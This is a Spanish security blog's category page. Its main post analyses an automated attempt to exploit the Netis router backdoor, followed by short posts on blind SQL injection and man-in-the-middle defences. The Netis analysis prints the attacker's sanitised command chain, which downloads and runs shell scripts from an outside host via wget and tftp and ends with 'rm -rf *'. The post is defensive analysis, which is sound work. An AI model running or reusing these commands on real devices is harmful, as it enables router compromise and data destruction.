Archivo de la categoría: Ataques

Análisis del intento de explotación de puerta trasera en router Netis

Router NetisEn 2014 se descubrió una puerta trasera en los routers de marca Netis que permitía el acceso desde su interfaz WAN (normalmente accesible desde Internet).

Hace una semanas llegó un ataque de explotación de esta puerta trasera, así que vamos a analizarlo en esta entrada. Obviamente se trataba de un ataque automatizado ya que recorrió una a una las direcciones IP públicas y no tengo ningún router Netis.

Como entenderéis he modificado el payload y las direcciones IP para evitar que alguien pueda hacer un mal uso 😉 Indicar igualmente que el ataque fue el sábado noche y cuando el lunes lo intenté analizar resultó que la IP ya no contenía los archivos indicados en la instrucción, así que no pude analizarlos. Como curiosidad indicar que la IP a la que se hacía referencia estaba ubicada en Brooklyn (Nueva York, USA).

En la captura inferior podemos ver que la petición, en formato HTML, consta de una carga previa de información (esta cadena ya está modificada) para posteriormente indicar las acciones que debe realizar el router (sección en lila).
Ataque Netis I

Sabemos que estos routers utilizan un sistema operativo Linux de base, así que revisemos las instrucciones (marcadas en lila) con un formato limpio (sin los caracteres de codificación HTML).

Ataque Netis II

Instrucciones del atacante

Ahora que ya tenemos un formato más legible, recordando que en los sistemas Linux el símbolo punto y coma (;) permite separar instrucciones que se ejecutarán una detrás de otra veamos qué peticiones hace el atacante al router Netis:

  1. wget http://10.10.10.10/akc.sh
  2. sh akc.sh
  3. rm -rf ack.sh
  4. tftp -r nfz.sh -g 10.10.10.10
  5. sh nfz.sh
  6. tftp 10.10.10.10 -c get nig.sh
  7. sh nig.sh
  8. rm -rf nfz.sh nig.sh akc.sh
  9. rm -rf *

Como vemos el primer paso (1) es descargarse el fichero «akc.sh» desde un servidor externo mediante protocolo HTTP para después ejecutarlo (2) y borrar dicho archivo (3).

Posteriormente podemos ver como se descarga mediante tftp (4 y 6) y ejecuta dichos archivos (5 y 7). Es curioso ver cómo utiliza dos formatos de instrucción diferentes para bajarse los archivos. Igualmente resulta curioso que la descarga del primer archivo sea mediante el comando wget mientras que los siguientes se realicen mediante TFTP.

Una vez termina la ejecución elimina los tres archivos descargados (8), aunque se supone que akc.sh ya lo había borrado antes (3).

Finalmente borra todos los archivos que haya en la ubicación (9) y sus directorios eliminando cualquier archivo temporal que se haya podido crear y borrando totalmente sus huellas.

Análisis del ataque

Atacando un router

Atacando un router.
Fuente imagen: We Live Security

Lamentablemente no pude hacerme con los scripts que se descargaba para analizarlos y ver qué hacían realmente, por lo que el análisis no puede ser más profundo y me tendré que conformar con las acciones indicadas en la propia URL.

El hecho de que utilice el comando wget para la primera descarga mientras que utilice tftp puede llevarnos a pensar que el primer script (akc.sh) realice la instalación del cliente tftp en el sistema. ¿Por qué sería preferible usar TFPT para el atacante para los siguientes scripts? Lo más probable es que la dirección IP desde donde se descargaba los scripts fuera un servidor web previamente infectado por lo que reduciendo el número de peticiones HTTP se reducen las trazas en los logs del servidor web que puedan descubrir la infección. Así que podría tratarse de un método para prolongar al máximo el uso de dicho servidor infectado.

Igualmente resulta extraño el uso de dos instrucciones diferentes (4 y 6) para descargar los scripts, lo cual nos llevaría a pensar que se ha reutilizado parte del código de otro script ya confeccionado previamente.

Cabe indicar que el orden de borrado de los scripts descargados es igualmente interesante: se preocupa de eliminar el primero de forma inmediata (3) mientras que los otros dos los deja para el final (8) e incluso lanza un borrado general del directorio (9). El hecho de que en la segunda instrucción de borrado (8) aparezca nuevamente el script akc.sh podría ser bien un fallo de diseño o bien un método para asegurarse el borrado de dicho script. Si pensamos que el atacante quiere asegurarse el borrado del script akc.sh debemos deducir que en dicho script se encuentra información que quiere asegurarse su eliminación (¿algún nombre de usuario o  contraseña?).

Al no haber podido analizar los scripts que se descargaba no podemos ver qué acción realizaba el router (¿unirse a una botnet?¿crear otra puerta trasera controlada por el atacante?¿propagar el ataque desde el propio equipo?), si bien queda claro por la última instrucción de borrado completo del directorio (9) que dichos scripts y cualquier fichero temporal creado no son necesarios una vez ha terminado el ataque.

¿Qué creéis que pueden ser estos script?

Podcast – 18 – Inyección SQL a ciegas

En el capítulo de hoy hablaremos sobre los ataques por inyección SQL a ciegas: aquellas donde la base de datos no devuelve la información solicitada en el ataque.

Blind SQL Injection

Fuente imagen:Muratkaya

Al contrario que en el capítulo anterior sobre inyecciones SQL, donde el atacante obtenía la información solicitada desde la propia base de datos, en este capítulo veremos cómo sacar información de una aplicación simplemente viendo la diferencia de comportamiento cuando el resultado de nuestra consulta es falso o verdadero.

Como en casi todos los capítulos, tras la explicación del ataque y sus características indicamos las posibles defensas tanto para bloquearlos como para minimizar sus efectos. En este caso cabe destacar cómo podemos evitar la automatización de los ataques por inyecciones SQL a ciegas de forma simple en todas nuestras aplicación web.

Descarga directa.

Ataques Man-in-the-middle

Se denominan ataques Man-in-the-middle (cuya traducción al español podría ser «Ataques de intermediario»), que suelen acortarse usando las siglas como MiM o mitm, a una categoría de ataques que lo que buscan es que el atacante tenga la capacidad de leer, modificar los mensajes entre los dos interlocutores e incluso insertar sus propios mensajes en la comunicación. El gran peligro de este tipo de situaciones es que los dos interlocutores originales no saben que hay un elemento intermedio en su comunicación y que puede alterar la información a voluntad.

Ejemplo de MiM

Fuente imagen: Wikimedia Commons

El hecho de simplemente cifrar las comunicaciones entre los dos interlocutores no tiene porqué solventar esta situación. En la Wikipedia tenéis un ejemplo muy claro de cómo una un elemento intermedio (Mallory) puede interceptar la comunicación entre Allice y Bob aunque ambos creen estar en un entorno seguro y cifrado.

Aunque este comportamiento puede parecer teórico, en realidad no es difícil de detectar en el mundo real. Uno de las principales consejos de seguridad informática es que nunca conectemos nuestros equipos (portátiles, teléfonos móviles, etc.) a redes desconocidas ya estén abiertas o no. No es técnicamente difícil para un usuario malintencionado montar una red «Free-Wifi» en un espacio público permitiendo que los usuarios se conecten a ella. Una vez los usuarios se han conectado a dicha web basta con hacer que todo el tráfico saliente a Internet pase por nuestro equipo y convertirnos en Mallory. En este momento el atacante tiene acceso completo a la información que circula por la red, salvo que ésta vaya cifrada.

Defensas ante ataques Man-in-the-Middle

Pirata montando MiM

Un pirata montado un ataque MiM 🙂 Fuente imagen:Simmone Tocco

En la actualidad existen protocolos de comunicaciones que permiten un intercambios de claves de cifrado seguras aún usando un medio inseguro y sin tener un conocimiento previo entre los interlocutores: probablemente el protocolo de claves más utilizado sea Diffie-Hellman. Si las comunicaciones utilizan cifrado de clave pública sería suficiente con confirmar la autenticidad y propiedad de las claves intercambiadas con los sistemas de Certificate pinning.

Algunos estudios muestran la posibilidad de detectar la existencia de un sistema intermedio calculando la latencia en las comunicaciones cifradas. Se basan en que el trabajo de cifrado y descifrado de Mallory hace que las comunicaciones tenga una latencia mayor pero que dicha latencia sea casi constante (generada por el trabajo de descifrado, análisis y recifrado del punto intermedio). EL problema de este enfoque es que presupone un alto grado de estabilidad en la red que haga que la latencia no sufra fluctuaciones por el comportamiento normal de la red, por loq ue no sería aplicable en una red tipo Internet pero sí en entornos cerrados (redes corporativas, etc.).